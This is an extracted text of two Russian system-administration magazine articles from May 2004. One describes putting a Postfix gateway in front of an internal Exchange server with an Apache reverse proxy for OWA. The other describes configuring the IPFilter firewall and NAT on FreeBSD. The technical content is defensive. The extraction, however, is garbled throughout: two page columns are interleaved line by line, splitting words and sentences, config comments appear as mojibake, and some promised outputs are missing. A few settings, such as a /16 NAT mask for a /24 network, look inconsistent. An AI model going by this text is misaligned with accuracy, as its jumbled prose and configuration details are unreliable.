не только ради почты, впрочем, такой вариант тоже час- даже не хотят или боятся делать это, приводя бессмыс-
то встречается. Но что-то все-таки не ладится. То маши- ленные аргументы. Проявив немного терпения и овла-
на в какой-то стопор падает, а то начинаете ковырять дев приемами работы в UNIX, в дальнейшем, исходя из
настройки, никоим образом не относящиеся к почте, а в ситуации, сможете сделать выбор, которого не будет у
результате именно она перестает работать. Да и регу- них.
лярно обнаруживаемые в Windows критические уязви- Ну вот, Exchange убран внутрь, шлюз теперь постро-
мости надежд на спокойную жизнь не приносят. В об- ен на операционной системе более подходящей для этой
щем, приходится постоянно быть начеку, чтобы вовремя цели и кажется, что вы в безопасности. Но не торопи-
перегрузить сервер и на вопрос: «Вася, а что у нас с по- тесь так думать, ведь Exchange как был доступен из Ин-
чтой?» нетерпеливо глядя то на индикатор hdd led, то на тернета, так и остался. И при неправильной конфигура-
«Windows is now restarting», цедить: «Сейчас всё будет ции он может стать сервером для спам-рассылок, источ-
работать.» ником распространения вирусов и целью для атак. Впро-
Пройдёт еще некоторое количество времени, и к вам чем, целью для атак он может стать в любом случае, ведь
придёт мысль о том, что надо разделить функции шлюза атаковать нельзя только ту систему, которая выключе-
и Exchange-сервера, тем более что информация на сер- на. Зайдите на любой сайт, который даёт обзоры по най-
вере ценная и хочется её сохранить. Уже узнали, что мож- денным уязвимостям и посмотрите статистику. Вы мо-
но спрятать сервер Exchange за шлюзом в приватной жете возразить, что применяете последние заплаты, но
сети, но чтобы почта все-таки ходила и c сервером мож- ведь уязвимости всегда на шаг впереди и где гарантия,
но было соединиться извне, используя реальный адрес что вы успеете залатать дыры прежде, чем произойдет
шлюза. Вы опять полны идей и вас слегка лихорадит. неприятность.
Итак, решено, Exchange – внутрь, соединения на 25-й Вот вывод команд, доступных по умолчанию в Exchange:
порт с шлюза перенаправляем на внутренний компью-
тер... а что у нас, пардон, на шлюзе-то осталось? 250-TURN 250-ATRN
250-SIZE 250-ETRN
Вот тут наступает момент истины, и от вас зависит, 250-PIPELINING 250-DSN
сделаете ли вы правильный выбор или нет. Если до это- 250-ENHANCEDSTATUSCODES 250-8bitmime
250-BINARYMIME 250-CHUNKING
го вы имели дело с UNIX-подобными ОС, то выбор оче- 250-VRFY 250-X-EXPS GSSAPI NTLM LOGIN
виден – ставите свою любимую ОС в качестве шлюза и 250-X-EXPS=LOGIN 250-AUTH GSSAPI NTLM LOGIN
250-AUTH=LOGIN 250-X-LINK2STATE
все дальше, как в песне. Если вы поклонник Windows или 250-XEXCH50 250 OK

№5(18), май 2004 35


администрирование
Сдаётся мне, что для сервера, общающегося с Ин- г) Настройка Postfix на порядок проще и даже исполь-
тернетом, половина этих команд не нужна, а некоторые зуя значения по умолчанию, он предлагает достаточ-
опасны, например, TURN. Смысл этой команды заклю- ный уровень безопасности, чего не скажешь про
чается в том, что клиент и сервер меняются ролями и Exchange. Установите сперва Postfix на шлюз, а по-
почта для домена передается на хост клиента. Для иден- том разбирайтесь с настройками Exchange сколько
тификации используется доменное имя, полученное от вам влезет, не опасаясь совершить те или иные
команды HELO. У злоумышленника появляется возмож- ошибки, которые приведут к нежелательным послед-
ность, подделав имя, заставить сервер отправить почту ствиям.
на свой хост. д) Наконец, обслуживание UNIX + Postfix требует куда
Отключить же ненужные команды, ползая по меню меньше затрат и душевных сил. Это для тех, кто мо-
System Manager, вам вряд ли удастся. жет сказать, что эту схему можно организовать связ-
Но не все так плохо, как кажется, и мы хотим предло- кой Windows + Exchange, что и рекомендуется неко-
жить вам третий вариант. А что если Exchange сделать торыми статьями и книгами про Exchange. Да и злые
вообще недоступным из Интернета? А как будет ходить вирусо-трояно писатели как будто сговорились и пи-
почта, спросите вы. Да очень просто, мы установим на шут в основном для Windows.
шлюз MTA Postfix и спрячем за ним Exchange, организо-
вав их взаимодействие. Теперь для всего внешнего мира Я хотел бы ещё вернуться к пункту «а», где говори-
будет доступен Postfix, на котором не будет никаких по- лось о возможности получить доступ к данным через
чтовых учетных записей, никаких почтовых ящиков. дыры IIS. При чем тут IIS, скажете вы, когда кроме 25-го
Postfix будет принимать почту, обрабатывать ее и пере- порта на Exchange-сервере ничего не открыто. Здесь
давать дальше Exchange. Естественно, такие вещи как имелась в виду служба Outlook Web Access, которая вхо-
спам, вирусы, попытки переслать почту для чужих доме- дит в состав Exchange и позволяет посредством веб-ин-
нов (релей) будут отсекаться еще на этапе соединения с терфейса, похожего на Outlook, получить доступ к почто-
Postfix. Исходящая почта также будет проходить через вому ящику, расписаниям, общим документам. Это мо-
Postfix. Плюс ко всему функции защиты от спама, виру- жет быть удобно для мобильных пользователей. Если вам
сов и т. д. можно дублировать на Exchange. Таким обра- нужна эта служба, то придётся дать доступ к веб-серве-
зом, вы сможете создать достаточно надежную почто- ру. Это можно сделать опять же средствами NAT, но тог-
вую систему, то есть: да все усилия, направленные на скрытие Exchange-сер-
а) Нет возможности подобраться к Exchange напрямую вера от внешнего мира, сходят на нет. На помощь мо-
извне, а значит провести атаку или получить доступ к жет прийти Apache, сконфигурированный в режиме об-
вашим данным через дыры в другом ПО, например, ратного прокси. Он может быть установлен на том же
через IIS, который требуется для установки Exchange. шлюзе или на другом компьютере. Если не хочется ста-
Атака же на Postfix грозит выходом из строя только вить Apache, можно попробовать программу Pound
Postfix, который не содержит ни пользовательских (http://www.apsis.ch/pound/), которая предназначена как
бюджетов, ни важных данных. К тому же, насколько раз для этих целей.
мне известно, за последние несколько лет в Postfix Если вам подходит этот вариант, то нужно сделать
не обнаружено критических уязвимостей и скорее совсем немного, конечно, за исключением вышеописан-
всего не будет найдено таких дыр, которые могут при- ного. Установка Exchange, Postfix и операционных сис-
вести к катастрофе. Учитывая все вышесказанное, тем здесь не описывается. Естественно, для придания
можно заключить, что риск потери данных из-за кра- Postfix дополнительной функциональности, такой как
ха Postfix равен нулю. защита почты от вирусов, smtp-аутентификация, вам по-
б) Исходя из пункта «а», ясно, что времени на восста- требуется установить дополнительный софт, например:
новление функционирования почты на шлюзе пона- drweb для защиты от вирусов, для smtp-аутентификации
добится меньше, чем системе Exchange, содержащей postfix использует sasl. Функции защиты от спама и бло-
данные, я бы даже сказал много меньше, если учесть, кировку нежелательной как почты, так и почтальонов,
что в некоторых случаях установка всей системы с можно осуществить встроенными средствами Postfix. На
нуля, в нашем случае операционной системы и Postfix, эти темы есть достаточно документации.
единственно приемлемый выход. Все, что вам нуж- Итак, у вас Postfix на шлюзе. Exchange в локальной
но, это сохранить несколько конфигурационных фай- сети. И хотя в контексте данной статьи слово «шлюз» при-
лов и при установке новой системы перенести их об- меняется к компьютеру, одним интерфейсом смотрящим
ратно. А можно поступить еще проще – создать об- в Интернет, другим в локальную сеть, на практике это мо-
раз жесткого диска. В случае катастрофы нужно бу- жет быть специально выделенная машина с одним интер-
дет просто заново записать образ на жесткий диск и фейсом, например в сети, где все адреса реальные, а фун-
обновить конфигурационные файлы. Таким образом, кции брандмауэра выполняет другой компьютер или ап-
простой системы будет сведен к минимуму. паратный брандмауэр, который пропускает почтовый тра-
в) Во время восстановления шлюза циркуляция почты фик только снаружи к шлюзу и в обратном направлении.
внутри предприятия сохраняется. Да и достаточно по- Начнем с Postfix. Не забыли, что MX-запись в DNS
менять несколько цифр, чтобы почта стала уходить указывает на него. Повторяю еще раз, что мы описыва-
по другому маршруту. ем взаимодействие Postfix и Exchange, и если вы не ви-

36
администрирование
дите здесь строчек, касающихся smtp-аутентификации чем, с таким же успехом вместо адреса можно указать
или еще чего-либо, то это не значит, что этого не должно доменное имя Exchange без скобок.
быть в конфигурации вашего сервера. После сохранения файлов main.cf и transport даем ко-
Открываем для редактирования файл main.cf. манду:
Имя вашей машины:
postmap transport
myhostname = host.domain.ru
которая при первом вызове создаст файл transport.db, а
Имя вашего домена: в дальнейшем будет обновлять этот файл, учитывая из-
менения в файле transport.
mydomain = domain.ru Далее даем команду:

Ваши доверенные сети: postfix reload

mynetworks = 127.0.0.0/8, 192.168.100.0/24 которая перезапустит Postfix с учетом изменений в фай-


ле main.cf.
или вместо всей сети 192.168.100.0 можно указать толь- С Postfix закончили, переходим к Exchange. Exchange
ко адрес Exchange, к примеру: должен быть настроен на обработку почты для наших доме-
нов. Открываем System Manager, переходим к Connectors, и
mynetworks = 127.0.0.0/8, 192.168.100.20 выбираем New → SMTP Connector.
На вкладке General указываем, что наружу почта дол-
Таким образом, вы запрещаете внутренним клиентам жна переправляться через адрес Postfix в квадратных
использование Postfix в обход Exchange. скобках. На вкладке Address Space щелкаем добавить
Локальные получатели, оставить значение пустым, Address type – SMTP. Сохраняем настройки и перегру-
так как их на этой машине попросту нет: жаем Exchange.
Настройка Apache в качестве обратного прокси может
local_recipient_maps = быть темой для отдельной статьи. Приведу лишь простей-
ший пример для доступа к OWA на основе Apache 2.x.
Если мы должны считать своими несколько доменов, В файле httpd.conf раскомментируем строчки:
то их можно перечислить здесь:
LoadModule proxy_module libexec/apache2/mod_proxy.so
mydestination = $myhostname, localhost.$mydomain, ↵ LoadModule proxy_http_module libexec/apache2/mod_proxy_http.so
$mydomain, domain2.ru, domain3.ru
Далее добавим следующие строчки:
Указываем, в каком файле у нас будет описан марш-
рут до Exchange: ProxyRequests Off
ProxyPass /exchange http://192.168.100.20/exchange
ProxyPassReverse /exchange http://192.168.100.20/exchan
transport_maps = hash:/usr/local/etc/postfix/transport
Где 192.168.100.20, как вы наверное уже догадались,
В файле transport мы описываем, на какой компью- наш Exchange-сервер. Теперь удаленный пользователь,
тер будет пересылаться почта для наших доменов: набирая в браузере http://адрес_шлюза/exchange, полу-
чает доступ к Outlook Web Access.
domain.ru smtp:[192.168.100.20] Вот, собственно, и все. И хотя здесь представлена
domain2.ru smtp:[192.168.100.20]
domain3.ru smtp:[192.168.100….] простая схема, она с успехом может применяться в бо-
лее сложных сетях, когда есть несколько почтовых сер-
Скобки нужны, чтобы Postfix не пытался проверять че- веров, которые обслуживают несколько доменов, и не
рез DNS соответствие имени IP-адресу Exchange. Впро- обязательно это должны быть Exchange-сервера.

№5(18), май 2004 37


администрирование

IPFilter С САМОГО НАЧАЛА

ТАТЬЯНА ИЛЬЧЕНКО
Для чего нужен пакетный фильтр? Это еще один инстру- тивное мнение автора) – логическое построение правил
мент для построения межсетевых экранов или, как еще их интуитивно понятно и хорошо воспринимается, что тоже
называют, firewall (в переводе с англ. – «огненная стена»), немаловажно при их большом количестве. Присутствуют
с помощью фильтрации трафика по заданным условиям. такие удобные функции, как создание групп правил и ве-
Способ защиты критически важных сегментов в точках вхо- дение нескольких лог-файлов (в зависимости от того, что
да в публичные сети и трансляции IP-адресов из немарш- хочется фиксировать и потом анализировать). Помимо
рутизируемых частных сетей в реальные IP-адреса. этого присутствует кросс-платформенность1. Поддержка
В статье мы поговорим о том, как быстро настроить и реализована на уровне ядра операционной системы, впро-
запустить межсетевой экран с функциями трансляции ад- чем, как и у «традиционного» IPFW, существенных недо-
ресов с помощью IPFilter на сервере под управлением ОС статков которого, кроме отсутствия некоторых возможно-
FreeBSD. Почему IPFilter? Во-первых, гибок и не громоз- стей IPFilter, автор статьи на своем опыте использования
док. Является пакетным фильтром с функцией контроля межсетевых экранов не берется назвать.
соединений. Для серверов под большой нагрузкой это мо- На момент написания статьи текущая версия IPFilter v.4.1.
жет стать критичным фактором при выборе программно- Однако несмотря на заявление разработчиков о том, что
го обеспечения. Правила пишутся вполне понятным и по- она полностью протестирована в среде FreeBSD 4.9-
чти привычным языком (последнее, правда, чисто субъек- RELEASE, установить её с ходу не удалось2, поэтому мы

38
администрирование
рассмотрим предыдущий релиз v3.4.31 (336), включенный, Руководствоваться для начала будем принципом «что
к слову, в ядро FreeBSD 4.9-RELEASE. не разрешено, то запрещено»7:
Все примеры даны в среде FreeBSD 4.9-RELEASE для
IPFilter этой версии, которая по умолчанию поддержива- pass out quick on lo0 proto ip from 127.0.0.0/8 to 127.0.0.0/8
pass in quick on lo0 proto ip from 127.0.0.0/8 to 127.0.0.0/8
ется ядром FreeBSD. Официальная страница IPFilter рас-
положена по адресу: http://coombs.anu.edu.au/~avalon/ip- # Áëîêèðóåì âñå âõîäÿùèå IP-ñîåäèíåíèÿ íà lo0
# èç ñåòè 127.0.0.0/88
filter.html. block in quick on lo0 proto ip from any to 127.0.0.0/8
Итак, приступим к установке, конфигурированию и
запуску3. Начнем, пожалуй, с того, как это работает и что Если входящий/исходящий пакет подпадает под эти
нам понадобится сделать до того, как мы задействуем правила, мы прекращаем поиск соответствий. При этом
IPFilter4. В качестве описания конфигурации пакетного фиксироваться в файле протокола прохождение таких
фильтра используется обычный текстовый файл, каждая пакетов через интерфейс lo0 не будет.
строка которого описывает правило фильтрации. Строки,
начинающиеся со знака «#», воспринимаются как коммен- # Áëîêèðóåì âñå âõîäÿùèå IP/TCP/UDP-ñîåäèíåíèÿ
# íà âíåøíåì èíòåðôåéñå
тарии. Логическая структура правил IPFilter выглядит при- block in log on fxp1 proto ip from any to any
мерно следующим образом: block in log on fxp1 proto tcp from any to any
block in log on fxp1 proto udp from any to any
<ACT> [Res] <pTYP> [aLOG] [aKEY] <nDEV> [fastroute] ↵ Обратим внимание, что все пакеты (запрещенные нами
<tPROT> <aSRC> <aDST> [pDST] [FLAGS][KW]
входящие соединения) не будут отбрасываться сразу, а
где: будут передаваться дальше на проверку (отсутствует клю-
! <ACT> – действие, которое будет предпринято при обна- чевое слово quick). Если соответствующего разрешения
ружении пакета, подпадающего под описываемое пра- не будет найдено, пакет будет блокирован в соответствии
вило (pass/block); с этими правилами. А «incident will be reported»9, как гово-
! [Res] – какой ответ отправить5 запрашивающей сто- рится. Сразу за этими строчками мы начнем добавлять
роне (для блокируемых пакетов); правила в зависимости от уже продуманной к этому мо-
! <pTYP> – тип пакета (in/out); менту (хорошо бы даже четко описанной «на бумаге») по-
! [aLOG] – фиксировать ли в файле протокола описан- литики нашей «огненной стены». Для экономии времени
ные пакеты (log); на обработке файла с правилами условимся прекращать
! [aKEY] – ключевое слово quick, означающее, что если дальнейшее расcмотрение правил10 при подпадании па-
анализируемый пакет подпадает под данное правило, кета под заданные условия. Заметим, что каждый сервис
то дальнейший просмотр правил прекращается; потребует как минимум два правила: для входящих и для
! <nDEV> – устройство, физический интерфейс, на ко- исходящих пакетов на каждый используемый сервисом
тором «искать» совпадение с правилом для пакетов; порт. Также, памятуя о специфике каждого сервиса, бу-
! [fastroute] – ключевое слово, используемое для сокры- дем задавать управляющие флаги, не забывая обращать-
тия присутствия firewall как узла сети (пакет будет пере- ся к документации по протоколам и к IPFilter Based Firewalls
правлен без изменения в TTL дальше по маршруту); HOWTO11.
! <tPROT> – протокол (ip/udp/tcp);
! <aSRC> – адрес-источник пакета; FTP
! <aDST> – адрес-приемник пакета; Предположим, у вас имеется FTP-сервер, к которому вы
! [pDST] – порт, на который адресован пакет; хотите открыть публичный доступ. Как известно, в работе
! [FLAGS] – управляющие флаги; по протоколу FTP используется два порта – для передачи
! [KW] – директивы (keywords). команд и, собственно, для передачи данных. В нотации
стека протоколов TCP/IP для протокола FTP использует-
В угловых скобках приведены обязательные парамет- ся протокол транспортного уровня TCP. Соответственно
ры/опции, а в квадратных соответственно те, наличие ко- для этого сервиса правила будут выглядеть следующим
торых определяется конкретными обстоятельствами и не образом:
является безоговорочно обязательным.
Вооружившись этим представлением, создадим файл pass out quick on fxp1 log proto tcp/udp from ↵
213.27.10.xx/32 to any keep state
конфигурации, описывающий довольно простой набор pass in quick on fxp1 log proto tcp from ↵
правил. any to 213.27.10.xx/32 port = 21 flags S keep state
К примеру, нам требуется дать возможность удален-
ным пользователям «снаружи» работать с FTP/HTTP(S)- Директива flag означает, что фильтр будет отслежи-
сервисами6, а нашему почтовому серверу – обменивать- вать флаги в каждом пакете и, если нужно, сравнивать с
ся почтой с окружающим миром по SMTP. Кроме того, не- заданными флагами в правилах IPFilter. В данном случае
обходимо описать правила для нашего DNS-сервера. Вне- мы будем отслеживать пакеты с установленным SYN – этот
шний интерфейс fxp1 имеет адрес 213.27.10.хх и маску флаг присутствует в пакетах при инициализации TCP-со-
255.255.255.255, внутренняя сеть ограничена адресным единения.
пространством 192.168.10.0 и маской 255.255.255.0, что Здесь же мы впервые используем управляющий флаг
соответствует описанию сети как 192.168.10.0/24. keep state. Остановимся на нем поподробнее. Сами по

№5(18), май 2004 39


администрирование
себе пакетные фильтры не умеют различать начало, се- сервера, для некоторых клиентских программ (в частно-
редину или конец любой TCP/UDP/ICMP, а ориентиру- сти, использующих метод CONNECT) – таких как, напри-
ются по установленному в пришедшем пакете FIN-фла- мер, binkd или ICQ – может понадобиться разрешение для
гу. Администратору же в данном случае остается толь- адресов локальной сети на работу по соответствующим
ко надеяться на то, что такие пакеты не будут FIN-ска- портам через интерфейс, который будет «охраняться» на-
нированием. В IPFilter применена методика keeping шим межсетевым экраном, то есть в нашем случае – че-
state12 для распознавания установленных сессий и от- рез интерфейс fxp1.
личия их от действий злоумышленников. Разработчики
исходили из того, что раз любая TCP/IP-сессия прохо- SMTP
дит в три этапа: старт (установка соединения), соеди-
нение и разрыв соединения (все это может уместиться pass out log quick on fxp1 proto tcp from ↵
213.27.10.xx/32 to any port = 25 keep state keep frags
и в одном-единственном пакете) – при этом, в общем pass in log quick on fxp1 proto tcp from any ↵
случае (исключая злонамеренные действия), должны to 213.27.10.xx/32 port = 25 keep state keep frags
иметь место именно все три стадии. Если старт сессии
разрешен правилами фильтра, то понятно, что после-
дующие пакеты этой сессии (subsequent-пакеты) и ее DNS
стоп-пакет тоже должны быть пропущены. Так же, как
если запрещено начало сессии, то и последующие па- pass in log quick on fxp1 proto udp from ↵
any to 213.27.10.xx/32 port = 53 keep frags
кеты будут автоматически блокированы. Такой подход pass out log quick on fxp1 proto udp from ↵
также позволяет избежать IP stack overflow – перепол- 213.27.10.xx/32 to any port = 53 keep frags
pass in log quick on fxp1 proto tcp from ↵
нения IP-стека. Более подробное описание можно най- any to 213.27.10.xx/32 port = 53 keep state keep frags
ти в IPFilter Based Firewalls HOWTO, где помимо описа- pass out log quick on fxp1 proto tcp from ↵
213.27.10.xx/32 to any port = 53 keep state keep frags
ния работы IPFilter даны общие рекомендации по пост-
роению межсетевого экрана. Здесь нам понадобятся 4 правила, так как описывае-
Разобравшись с keep state, обратимся к следующему мый сервис использует в работе на транспортном уровне
управляющему флагу keep frags и рассмотрим его назна- TCP и UDP, соответственно и правила фильтрации долж-
чение. Дело в том, что использование keep state почти ре- ны это учитывать.
шает проблему защиты от FIN-сканирования. А в задаче Рассмотрим теперь случай, когда нам необходимо про-
настройки фильтрации нет места «почти»-решениям. Флаг пускать в оба направления трафик на компьютере в на-
keep frags позволяет IPFilter отмечать и в дальнейшем от- шей локальной сети, не назначая ему реального адреса.
слеживать фрагментированные пакеты, пропуская толь- Подобная ситуация может возникнуть, если в вашей сети
ко ожидаемые фрагменты и отфильтровывая подложные. есть, например, ПО систем «клиент-банк», установленное
на машине одного из сотрудников. Часто такие системы
HTTP(S) не ориентированы на использование обычных proxy-сер-
веров, и приходится администратору задействовать про-
#http брос соединений прямо на бухгалтерскую машину.
pass in log quick on fxp1 proto tcp from any ↵
to 213.27.10.xx/32 port = 80 flags S keep state keep frags В этом случае придется использовать не только пра-
вила firewall, но и транслирование адресов в нотации
Для данного сервиса нам потребуется описать только NPAT13 – применение ipnat описано чуть дальше. Итак, вот
правило для входящих пакетов, ибо одно из последних как будут выглядеть правила фильтрации трафика для
правил будет выглядеть следующим образом: такой программы (предполагается, что 194.84.xx.xx – ад-
рес сервера, куда надо подсоединяться клиентской про-
pass out log quick on fxp1 from 213.27.10.xx/32 to any грамме, 192.168.10.48 – адрес машины, где эта клиентс-
кая программа установлена):
Это позволяет не описывать правила для исходящих
пакетов от нашего веб-сервера (подразумевается, что веб- pass out log quick on fxp1 proto tcp from 192.168.10.48/32 ↵
to 194.84.xx.xx/32 port = 1352 keep state keep frags
сервер не будет самостоятельно инициировать TCP-соеди- pass in log quick on fxp1 proto tcp from 194.84.xx.xx/32 ↵
нения, а станет только отвечать на входящие запросы). to 192.168.10.48/32 port = 1352 keep state keep frags

# https Завершим же описание правил следующим образом:


pass out log quick on fxp1 proto tcp from ↵
213.27.10.xx/32 to any port = 443 keep state keep frags
pass in log quick on fxp1 proto tcp from any ↵ pass out log quick on fxp1 from 213.27.10.xx/32 to any
to 213.27.10.xx/32 port = 443 keep state keep frags block out log quick on fxp1 from any to any

Эти правила дадут возможность пользователям или То есть, все пакеты, для которых не найдено ранее со-
приложениям использовать в работе протокол Secure ответствующих правил, будут фильтроваться следующим
HTTP. образом: безоговорочно пропускать все исходящие с на-
Замечание. Следует помнить, что даже если все зап- шего реального адреса пакеты, остальные исходящие –
росы на веб-ресурсы от пользователей в локальной сети также безоговорочно блокировать. Входящие пакеты бло-
принудительно перенаправляются на порт вашего proxy- кированы у нас в начале описания правил, помните?

40
администрирование
Замечание. Внимательно следите за тем, чтобы пра- Теперь проверим права на файлы ipf.rules и ipnat.rules –
вила не повторялись, иначе при запуске фильтр сообщит они должны быть выставлены в 644, владелец root.
об ошибке:

Первая цифра – это номер строки, где возникла ошиб- На этом подготовительный этап закончен, и мы пере-
ка, далее следует ее краткое описание, поясняющее, что ходим непосредственно к запуску IPFilter.
ошибка возникла при попытке добавить/вставить прави- В общем случае, от вас даже не потребуется ничего
ло и заключается она в том, что такое правило уже суще- сложного, поскольку IPFilter в системе уже есть18, и надо
ствует и занесено в активный набор правил14. только «включить» его, что мы сейчас и рассмотрим под-
После того как мы описали все правила и сохранили файл робнее.
с ними, к примеру, с именем ipf.rules в /etc, позаботимся о Вам потребуется добавить в конфигурационный файл
том, чтобы наши пользователи, имеющие адреса из подсе- ядра системы (как правило, он располагается в /usr/src/
тей, зарезервированных под private networks – 192.168/16, sys/i386/conf/) следующие опции19:
172.16/12, 10/8 (такие подсети еще называют non-routeable –
немаршрутизируемые15 или «серые»), – могли получить до- options IPFILTER # âêëþ÷àåì ïîääåðæêó ipf
options IPFILTER_LOG # ëîãèðîâàíèå ipf
ступ к ресурсам Интернета через наш «firewall-интерфейс».
Воспользуемся для этого входящим в состав IPFilter моду- Кроме этого, надо увеличить количество псевдо-уст-
лем ipnat. Создадим там же в /etc файл ipnat.rules16. ройств bpf (Berkley Packet Filter), используемых для ана-
Тут же, если вам необходимо в силу обстоятельств ис- лиза и фильтрации пакетов. Выбор конкретного значения
пользовать перенаправление по портам из внутренней напрямую зависит от того, сколько у вас будет использо-
сети во внешнюю, нужно добавить примерно вот такие ваться интерфейсов для фильтрации.
строки (не забывая про вышеописанный случай с ПО «кли- Замечание. Этот параметр в ядре ОС определяется
ент-банк»). То есть, наш файл ipnat.rules будет выглядеть не только количеством физических устройств, но и коли-
примерно следующим образом: чеством процессов, которые будут обращаться к этим ус-
тройствам в процессе своей работы – tcpdump, nessus etc.
map fxp1 192.168.10.0/16 -> 0/32 В нашем случае один сетевой интерфейс использует-
map fxp1 192.168.10.48/32 -> 213.27.10.xx/32
rdr fxp1 213.27.10.xx/32 port 1352 -> 192.168.10.48 port 1352 ся IPFilter и добавим еще три bpf-устройства на случай
большой загруженности и если нам понадобятся в даль-
Строки, начинающиеся с ключевого слова map, опи- нейшем утилиты вроде tcpdump.
сывают трансляцию адресов. Указываем интерфейс, IP-
адрес, который нуждается в такой подмене, и маску для pseudo-device bpf 4
этого адреса, далее следуют адрес и маска, на которые
будет заменена соответствующая часть пакетов, выходя- После сделанных изменений в конфигурации ядра пе-
щих с нашего сервера. У нас подобных правил будет два: ресобираем его (подробно о конфигурировании и ком-
трансляция всех «серых» IP-адресов нашей сети в «фаль- пиляции ядра FreeBSD можно посмотреть тут: http://
шивый» адрес 0/32 и IP-адреса, для которого мы будем www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/
использовать проброс соединений, в реальный IP-адрес kernelconfig.html).
нашего межсетевого экрана. Строка со словом rdr описы- Перезагрузимся (это потребуется из-за пересборки
вает именно проброс соединений, о котором мы говорили ядра системы, так как «на лету» заменить одно ядро дру-
выше, когда рассматривали ситуацию с ПО «клиент-банк», гим нельзя) и теперь мы можем проверить функциониро-
не умеющем использовать прокси-сервер. вание нашего межсетевого фильтра. Для этого можно вос-
После этого нам остается внести необходимые изме- пользоваться, например, широко извеcтной утилитой nmap
нения в файл rc.conf17: (http://www.insecure.org/nmap/) или любым сканером безо-
пасности: X-Spider, Nessuss и прочие.
# îòêëþ÷àåì NAT-äåìîí, îñòàâøèéñÿ îò IPFW Еще один немаловажный момент: тестировать скани-
natd_enable="NO"
# çàïóñê IPFilter ïðè ñòàðòå ñèñòåìû рованием межсетевой экран рациональнее с другого ком-
ipfilter_enable="YES" пьютера (если вы экспериментируете с IP-адресом, дос-
# ïóòü ê êîìàíäå ipf, åñëè âàì íåèçâåñòåí whereis, ipf âàì ïîìîæåò
ipfilter_program="/sbin/ipf" тупным из внешнего мира, то и неплохо иметь возмож-
# ïîëíûé ïóòü ê ôàéëó ñ ïðàâèëàìè ôèëüòðàöèè ность просканировать его снаружи) – поскольку получен-
ipfilter_rules="/etc/ipf.rules"
# çàïóñê ipnat ïðè ñòàðòå ñèñòåìû ный результат будет более точно отражать положение ве-
ipnat_enable="YES" щей. Да и в реальной жизни скорее всего проверять на
# ïóòü ê êîìàíäå ipnat, îïÿòü æå íàõîäèòñÿ ïî whereis ipnat
ipnat_program="/sbin/ipnat" прочность межсетевой экран будут снаружи. Однако не
# ïîëíûé ïóòü ê ôàéëó ñ ïðàâèëàìè òðàíñëÿöèè è ðåäèðåêòà мешает проверить его и изнутри вашей сети, поскольку
ipnat_rules="/etc/ipnat.rules"
# äîïîëíèòåëüíûå ïàðàìåòðû êîìàíäû ipnat по статистике около 80% всех инцидентов в сфере инфор-
ipnat_flags="" мационной безопасности происходит по вине собственных
# çàïóñê ipmon ïðè ñòàðòå ñèñòåìû
ipmon_enable="YES" сотрудников компании20.
# ïóòü ê êîìàíäå ipmon, òóò óæå ïîíÿòíî, äà? Вот как выглядит, к примеру, результат команды nmap,
ipmon_program="/sbin/ipmon"
# ïàðàìåòðû êîìàíäû ipmon направленной на наш «учебный» межсетевой экран с дру-
ipmon_flags=" -D /var/log/ipmon.log &" гого компьютера и из другой подсети:

№5(18), май 2004 41


администрирование
# cd /usr/local/etc/logrotate.conf.sample
# cp logrotate.conf.sample logrotate.conf
Затем добавляем в только что созданный предыдущей
операцией файл logrotate.conf следующие строки:

# íà÷àëî îïèñàíèÿ, óêàçûâàåì ïóòü, ê ôàéëó ïðîòîêîëà


/var/log/ipmon.log {
daily # ïåðèîäè÷íîñòü ðîòàöèè – åæåäíåâíî
rotate 14 # êîëè÷åñòâî õðàíèìûõ ôðàãìåíòîâ
missingok # îòñóòñòâèå ôàéëà ipmon.log íå ÿâëÿåòñÿ
# îøèáêîé
Кроме вышеописанных возможностей, в пакет IPFilter notifempty # íå îáðàáàòûâàòü, åñëè ôàéë ïóñòîé
noolddir # äåðæàòü âñå ôàéëû â îäíîì è òîì æå
входят различные дополнительные утилиты, позволяющие # êàòàëîãå
контролировать функционирование межсетевого экрана, compress # ñæèìàòü «ðîòèðîâàííûå» ôðàãìåíòû
postrotate # çäåñü ìû îïèñûâàåì, ÷òî íóæíî ñäåëàòü
такие как, например, ipfstat или ipmon. Последнюю, к сло- # ïîñëå ðîòàöèè – ïåðåçàïóñòèòü ïðîöåññ
ву сказать, мы использовали для ведения лога IPFilter. Раз- # ipmon
/sbin/killall –HUP ipmon
личие между утилитами ipfstat и ipmon в том, что первая endscript # êîíåö îïèñàíèÿ äåéñòâèé ïîñëå ðîòàöèè
показывает общую статистику работы IPFilter, а вторая } # êîíåö îïèñàíèÿ ðîòàöèè ôàéëà ïðîòîêîëà
# IPFilter
фиксирует каждый пакет, подпавший под такое из пра-
вил, для которого указана опция log. Если вы посмотрите После того как мы отредактировали файл конфигура-
в /var/log/, то увидите там довольно быстро растущий файл ции logrotate.conf, вносим в /etc/crontab следующую строку:
с именем ipmon.log – именно его мы описали в rc.conf, как
файл протокола для ipmon. 0 1 * * * /usr/local/sbin/logrotate –s ↵
/var/lib/logrotate.status /usr/local/etc/logrotate.conf
Утилита ipmon, входящая в дистрибутив IPFilter, кото-
рую мы использовали для формирования файла протоко- Теперь ротация файла протокола IPFilter будет произ-
ла нашего пакетного фильтра, записывает всю информа- водиться 1 раз в сутки. Решение не единственное – архи-
цию о его работе в файл /var/log/ipmon.log: вирование, «обнуление» файла протокола и перезапуск в
случае необходимости использующего его процесса мож-
Если при первом запуске ipmon не находит указанный но реализовать несколькими способами, в частности с
в качестве параметра файл протокола, то он будет создан помощью syslogd или посредством создания собственно-
именно с такими правами, как указано выше. го сценария на shell/PERL etc.
При достаточно большой нагрузке (порядка 200-300 Мб При первом запуске IPFilter в /dev/ появится наряду с
трафика в сутки) файл протокола разрастается тоже не- прочими необходимыми устройство ipl, из которого
маленькими темпами, а дисковое пространство небезг- ipmon&ipfstat и читают необходимые данные о жизнедея-
ранично. Поэтому надо предусмотреть и ротацию этого тельности пакетного фильтра. А при отключении межсе-
файла, то есть периодическое архивирование, его «обну- тевого экрана в ядре и пересборки/установки последнего
ление» и перезапуск ipmon. Каждый системный админис- эти устройства будут удалены из /dev.
тратор решает подобные задачи, исходя из собственного Обратимся же теперь к такому немаловажному воп-
опыта, знаний и умений. Я расскажу о возможном реше- росу, как манипулирование правилами фильтрации и
нии с помощью утилиты logrotate. транслирования. Ведь не станем мы каждый раз пере-
Эта утилита стала уже стандартом де-факто для авто- загружать сервер после изменения файлов ipf.rules и/или
матической ротации файлов протоколов операционной си- ipnat.rules – будем использовать соответствующие коман-
стемы и прикладного программного обеспечения. Стран- ды ipf и ipnat.
но, что по умолчанию ее не оказалось в поставке FreeBSD- В IPFilter есть два типа наборов правил (ruleset) – ак-
